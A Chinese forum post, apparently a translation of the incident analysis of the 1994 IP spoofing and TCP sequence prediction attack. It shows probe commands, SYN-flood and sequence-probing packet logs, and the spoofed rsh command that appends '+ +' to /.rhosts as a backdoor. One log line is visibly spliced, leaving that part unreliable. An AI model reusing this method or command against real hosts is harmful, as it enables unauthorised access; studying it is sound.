免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 3374 | 回复: 0
打印 上一主题 下一主题

黑客技术介绍之利用ip序列攻击 [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2007-11-05 08:50 |只看该作者 |倒序浏览
提到很多关于 IP地址的欺骗( IP spoofing )和hijacking攻击,这儿是我的一些技术资料。希望它能帮助你明白这类攻击是怎么一回事。 \r\n这是两种截然不同的攻击手段,IP 源地址欺骗和 TCP 序列序列预报是为了获得那些使用 X terminal作为无盘工作站的初始的使用权。当root 权限被获得时,一个已知的到其他系统的连接就会被“可加载内核 STREAMS 模块”或 hijacked 。 \r\n\r\n这次攻击中的数据记录都是由 tcpdump 来完成的,兴趣很明确(也很短!),有些Ri期被遗漏了。我特别推荐 Steve Bellovin 的关于“IP spoofing”的文章。他对 TCP 握手描述的非常详细,也提出了怎样阻止这种攻击手段。 \r\n\r\n我的设置是这样的: \r\n\r\n \r\n\r\n\r\n系   统 = 运行Solaris 1 提供 \"X terminal\"服务的 SPARC 工作站 \r\nx-terminal = 运行Solaris 1 提供 \"X terminal\"服务 \r\n目   标 = 攻击显然的目标\r\n \r\n\r\nIP spoofing 攻击是从 14:09:32 PST on 12/25/94 开始的。首先的探测来自toad.com (来自数据包的记录): \r\n\r\n \r\n\r\n\r\n14:09:32 toad.com# finger -l @target \r\n14:10:21 toad.com# finger -l @server \r\n14:10:50 toad.com# finger -l root@server \r\n14:11:07 toad.com# finger -l @x-terminal \r\n14:11:38 toad.com# showmount -e x-terminal \r\n14:11:49 toad.com# rpcinfo -p x-terminal \r\n14:12:05 toad.com# finger -l root@x-terminal\r\n \r\n\r\n这样的探测是为了查看在这些系统之中有什么信赖关系,借此可以发动 IP spoofing 攻击。从 showmount 和 rpcinfo 的源端口可以看出是toad.com 的 root 。 \r\n\r\n六分钟之后, 我们收到了大量的 TCP SYN 请求(TCP 连接的请求),是来自 130.92.6.97 到服务器上的 513 (login) 端口。这些 SYN 请求的目的就是堵塞513端口的连接队列,使其成为半开连接状态,因此无法接受其它的新的连接请求。详细些就是,它是不会对那些SYN-ACK 请求发送TCP RST回应的。 \r\n\r\n513 端口是一个“特权”(< IPPORT_RESERVED)端口,server.login 可以被假定的源地址安全的使用,是在UNIX上的\"r-服务\" (rsh,rlogin)进行地址spoofing攻击的。130.92.6.97 明显是没有反应的地址(对收到的数据包): \r\n\r\n \r\n\r\n \r\n\r\n14:18:22.516699 130.92.6.97.600 > server.login: S 1382726960:1382726960(0) win 4096 \r\n14:18:22.566069 130.92.6.97.601 > server.login: S 1382726961:1382726961(0) win 4096 \r\n14:18:22.744477 130.92.6.97.602 > server.login: S 1382726962:1382726962(0) win 4096 \r\n14:18:22.830111 130.92.6.97.603 > server.login: S 1382726963:1382726963(0) win 4096 \r\n14:18:22.886128 130.92.6.97.604 > server.login: S 1382726964:1382726964(0) win 4096 \r\n14:18:22.943514 130.92.6.97.605 > server.login: S 1382726965:1382726965(0) win 4096 \r\n14:18:23.002715 130.92.6.97.606 > server.login: S 1382726966:1382726966(0) win 4096 \r\n14:18:23.103275 130.92.6.97.607 > server.login: S 1382726967:1382726967(0) win 4096 \r\n14:18:23.162781 130.92.6.97.608 > server.login: S 1382726968:1382726968(0) win 4096 \r\n14:18:23.225384 130.92.6.97.609 > server.login: S 1382726969:1382726969(0) win 4096 \r\n14:18:23.282625 130.92.6.97.610 > server.login: S 1382726970:1382726970(0) win 4096 \r\n14:18:23.342657 130.92.6.97.611 > server.login: S 1382726971:1382726971(0) win 4096 \r\n14:18:23.403083 130.92.6.97.612 > server.login: S 1382726972x-terminal.shell: R 1382726997:1382726997(0) win 0 \r\n14:18:29.584705 apollo.it.luc.edu.993 > x-terminal.shell: S 1382726997:1382726997(0) win 4096 \r\n14:18:29.755054 x-terminal.shell > apollo.it.luc.edu.993: S 2022720000:2022720000(0) ack 1382726998 win 4096 \r\n14:18:29.840372 apollo.it.luc.edu.993 > x-terminal.shell: R 1382726998:1382726998(0) win 0 \r\n14:18:30.094299 apollo.it.luc.edu.992 > x-terminal.shell: S 1382726998:1382726998(0) win 4096 \r\n14:18:30.265684 x-terminal.shell > apollo.it.luc.edu.992: S 2022848000:2022848000(0) ack 1382726999 win 4096 \r\n14:18:30.342506 apollo.it.luc.edu.992 > x-terminal.shell: R 1382726999:1382726999(0) win 0 \r\n14:18:30.604547 apollo.it.luc.edu.991 > x-terminal.shell: S 1382726999:1382726999(0) win 4096 \r\n14:18:30.775232 x-terminal.shell > apollo.it.luc.edu.991: S 2022976000:2022976000(0) ack 1382727000 win 4096 \r\n14:18:30.852084 apollo.it.luc.edu.991 > x-terminal.shell: R 1382727000:1382727000(0) win 0 \r\n14:18:31.115036 apollo.it.luc.edu.990 > x-terminal.shell: S 1382727000:1382727000(0) win 4096 \r\n14:18:31.284694 x-terminal.shell > apollo.it.luc.edu.990: S 2023104000:2023104000(0) ack 1382727001 win 4096 \r\n14:18:31.361684 apollo.it.luc.edu.990 > x-terminal.shell: R 1382727001:1382727001(0) win 0 \r\n14:18:31.627817 apollo.it.luc.edu.989 > x-terminal.shell: S 1382727001:1382727001(0) win 4096 \r\n14:18:31.795260 x-terminal.shell > apollo.it.luc.edu.989: S 2023232000:2023232000(0) ack 1382727002 win 4096 \r\n14:18:31.873056 apollo.it.luc.edu.989 > x-terminal.shell: R 1382727002:1382727002(0) win 0 \r\n14:18:32.164597 apollo.it.luc.edu.988 > x-terminal.shell: S 1382727002:1382727002(0) win 4096 \r\n14:18:32.335373 x-terminal.shell > apollo.it.luc.edu.988: S 2023360000:2023360000(0) ack 1382727003 win 4096 \r\n14:18:32.413041 apollo.it.luc.edu.988 > x-terminal.shell: R 1382727003:1382727003(0) win 0 \r\n14:18:32.674779 apollo.it.luc.edu.987 > x-terminal.shell: S 1382727003:1382727003(0) win 4096 \r\n14:18:32.845373 x-terminal.shell > apollo.it.luc.edu.987: S 2023488000:2023488000(0) ack 1382727004 win 4096 \r\n14:18:32.922158 apollo.it.luc.edu.987 > x-terminal.shell: R 1382727004:1382727004(0) win 0 \r\n14:18:33.184839 apollo.it.luc.edu.986 > x-terminal.shell: S 1382727004:1382727004(0) win 4096 \r\n14:18:33.355505 x-terminal.shell > apollo.it.luc.edu.986: S 2023616000:2023616000(0) ack 1382727005 win 4096 \r\n14:18:33.435221 apollo.it.luc.edu.986 > x-terminal.shell: R 1382727005:1382727005(0) win 0 \r\n14:18:33.695170 apollo.it.luc.edu.985 > x-terminal.shell: S 1382727005:1382727005(0) win 4096 \r\n14:18:33.985966 x-terminal.shell > apollo.it.luc.edu.985: S 2023744000:2023744000(0) ack 1382727006 win 4096 \r\n14:18:34.062407 apollo.it.luc.edu.985 > x-terminal.shell: R 1382727006:1382727006(0) win 0 \r\n14:18:34.204953 apollo.it.luc.edu.984 > x-terminal.shell: S 1382727006:1382727006(0) win 4096 \r\n14:18:34.375641 x-terminal.shell > apollo.it.luc.edu.984: S 2023872000:2023872000(0) ack 1382727007 win 4096 \r\n14:18:34.452830 apollo.it.luc.edu.984 > x-terminal.shell: R 1382727007:1382727007(0) win 0 \r\n14:18:34.714996 apollo.it.luc.edu.983 > x-terminal.shell: S 1382727007:1382727007(0) win 4096 \r\n14:18:34.885071 x-terminal.shell > apollo.it.luc.edu.983: S 2024000000:2024000000(0) ack 1382727008 win 4096 \r\n14:18:34.962030 apollo.it.luc.edu.983 > x-terminal.shell: R 1382727008:1382727008(0) win 0 \r\n14:18:35.225869 apollo.it.luc.edu.982 > x-terminal.shell: S 1382727008:1382727008(0) win 4096 \r\n14:18:35.395723 x-terminal.shell > apollo.it.luc.edu.982: S 2024128000:2024128000(0) ack 1382727009 win 4096 \r\n14:18:35.472150 apollo.it.luc.edu.982 > x-terminal.shell: R 1382727009:1382727009(0) win 0 \r\n14:18:35.735077 apollo.it.luc.edu.981 > x-terminal.shell: S 1382727009:1382727009(0) win 4096 \r\n14:18:35.905684 x-terminal.shell > apollo.it.luc.edu.981: S 2024256000:2024256000(0) ack 1382727010 win 4096 \r\n14:18:35.983078 apollo.it.luc.edu.981 > x-terminal.shell: R 1382727010:1382727010(0) win 0\r\n \r\n\r\n\r\n注意每个x-terminal送出的 SYN-ACK 数据包通过 x-terminal 有个初始数列,并且都比前一个来的大。 \r\n\r\n我们看到一个伪造的 SYN (连接请求), 是从 server.login 送到 x-terminal.shell 的。设想服务器如果被x-terminal所信任,那么x-terminal 就可以利用了(甚至一些伪装的服务器) 请求了。 \r\n\r\nx-terminal 会对服务器回复一个 SYN-ACK,只有 ACK 过的才可以打开连接。服务器会丢失送到 server.login 的数据包,所以ACK 也要伪造。 \r\n\r\n通常情况下, SYN-ACK 的数列需要用来生成有效的 ACK。虽然这样,攻击者可以预知序列包含在 SYN-ACK 中,基于已知的x-terminal的 tcp 序列生成规律,下面还可以用 ACK 来对付那些没有看见的 SYN-ACK: \r\n\r\n \r\n\r\n\r\n14:18:36.245045 server.login > x-terminal.shell: S 1382727010:1382727010(0) win 4096 \r\n14:18:36.755522 server.login > x-terminal.shell: . ack 2024384001 win 4096\r\n \r\n\r\n现在被 spoofing 的机器现在只有一种方法连接到x-terminal.shell服务器就是 server.login。它可以维护连接 connection 和 send 请求可以通过完全ACK 掉。应该像下面这样: \r\n\r\n \r\n\r\n\r\n14:18:37.265404 server.login > x-terminal.shell: P 0:2(2) ack 1 win 4096 \r\n14:18:37.775872 server.login > x-terminal.shell: P 2:7(5) ack 1 win 4096 \r\n14:18:38.287404 server.login > x-terminal.shell: P 7:32(25) ack 1 win 4096\r\n \r\n\r\n相当于: \r\n\r\n \r\n\r\n\r\n14:18:37 server# rsh x-terminal \"echo + + >>/.rhosts\"\r\n \r\n\r\n从第一个 spoofed 的数据包共用了:< 16 秒的时间欺骗的;连接已经被终止了: \r\n\r\n \r\n\r\n\r\n14:18:41.347003 server.login > x-terminal.shell: . ack 2 win 4096 \r\n14:18:42.255978 server.login > x-terminal.shell: . ack 3 win 4096 \r\n14:18:43.165874 server.login > x-terminal.shell: F 32:32(0) ack 3 win 4096 \r\n14:18:52.179922 server.login > x-terminal.shell: R 1382727043:1382727043(0) win 4096 \r\n14:18:52.236452 server.login > x-terminal.shell: R 1382727044:1382727044(0) win 4096\r\n \r\n\r\n\r\n我们现在看到 RST 释放了在 server.login 上的队列中的那些半连接和空连接: \r\n\r\n \r\n\r\n\r\n14:18:52.298431 130.92.6.97.600 > server.login: R 1382726960:1382726960(0) win 4096 \r\n14:18:52.363877 130.92.6.97.601 > server.login: R 1382726961:1382726961(0) win 4096 \r\n14:18:52.416916 130.92.6.97.602 > server.login: R 1382726962:1382726962(0) win 4096 \r\n14:18:52.476873 130.92.6.97.603 > server.login: R 1382726963:1382726963(0) win 4096 \r\n14:18:52.536573 130.92.6.97.604 > server.login: R 1382726964:1382726964(0) win 4096 \r\n14:18:52.600899 130.92.6.97.605 > server.login: R 1382726965:1382726965(0) win 4096 \r\n14:18:52.660231 130.92.6.97.606 > server.login: R 1382726966:1382726966(0) win 4096 \r\n14:18:52.717495 130.92.6.97.607 > server.login: R 1382726967:1382726967(0) win 4096 \r\n14:18:52.776502 130.92.6.97.608 > server.login: R 1382726968:1382726968(0) win 4096 \r\n14:18:52.836536 130.92.6.97.609 > server.login: R 1382726969:1382726969(0) win 4096 \r\n14:18:52.937317 130.92.6.97.610 > server.login: R 1382726970:1382726970(0) win 4096 \r\n14:18:52.996777 130.92.6.97.611 > server.login: R 1382726971:1382726971(0) win 4096 \r\n14:18:53.056758 130.92.6.97.612 > server.login: R 1382726972:1382726972(0) win 4096 \r\n14:18:53.116850 130.92.6.97.613 > server.login: R 1382726973:1382726973(0) win 4096 \r\n14:18:53.177515 130.92.6.97.614 > server.login: R 1382726974:1382726974(0) win 4096 \r\n14:18:53.238496 130.92.6.97.615 > server.login: R 1382726975:1382726975(0) win 4096 \r\n14:18:53.297163 130.92.6.97.616 > server.login: R 1382726976:1382726976(0) win 4096 \r\n14:18:53.365988 130.92.6.97.617 > server.login: R 1382726977:1382726977(0) win 4096 \r\n14:18:53.437287 130.92.6.97.618 > server.login: R 1382726978:1382726978(0) win 4096 \r\n14:18:53.496789 130.92.6.97.619 > server.login: R 1382726979:1382726979(0) win 4096 \r\n14:18:53.556753 130.92.6.97.620 > server.login: R 1382726980:1382726980(0) win 4096 \r\n14:18:53.616954 130.92.6.97.621 > server.login: R 1382726981:1382726981(0) win 4096 \r\n14:18:53.676828 130.92.6.97.622 > server.login: R 1382726982:1382726982(0) win 4096 \r\n14:18:53.736734 130.92.6.97.623 > server.login: R 1382726983:1382726983(0) win 4096 \r\n14:18:53.796732 130.92.6.97.624 > server.login: R 1382726984:1382726984(0) win 4096 \r\n14:18:53.867543 130.92.6.97.625 > server.login: R 1382726985:1382726985(0) win 4096 \r\n14:18:53.917466 130.92.6.97.626 > server.login: R 1382726986:1382726986(0) win 4096 \r\n14:18:53.976769 130.92.6.97.627 > server.login: R 1382726987:1382726987(0) win 4096 \r\n14:18:54.039039 130.92.6.97.628 > server.login: R 1382726988:1382726988(0) win 4096 \r\n14:18:54.097093 130.92.6.97.629 > server.login: \r\n \r\n\r\n\r\nserver.login 又可以接受连接请求了。 \r\n\r\n通过IP地址spoofing 成果获得root权限后,一个叫做\"tap-2。01\"的内核模块被x-terminal 编译和安装: \r\n\r\n \r\n\r\n\r\nx-terminal% modstat \r\nId Type Loadaddr Size B-major C-major Sysnum Mod Name \r\n1 Pdrv ff050000 1000 59. tap/tap-2.01 alpha \r\n\r\nx-terminal% ls -l /dev/tap \r\ncrwxrwxrwx 1 root 37, 59 Dec 25 14:40 /dev/tap
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP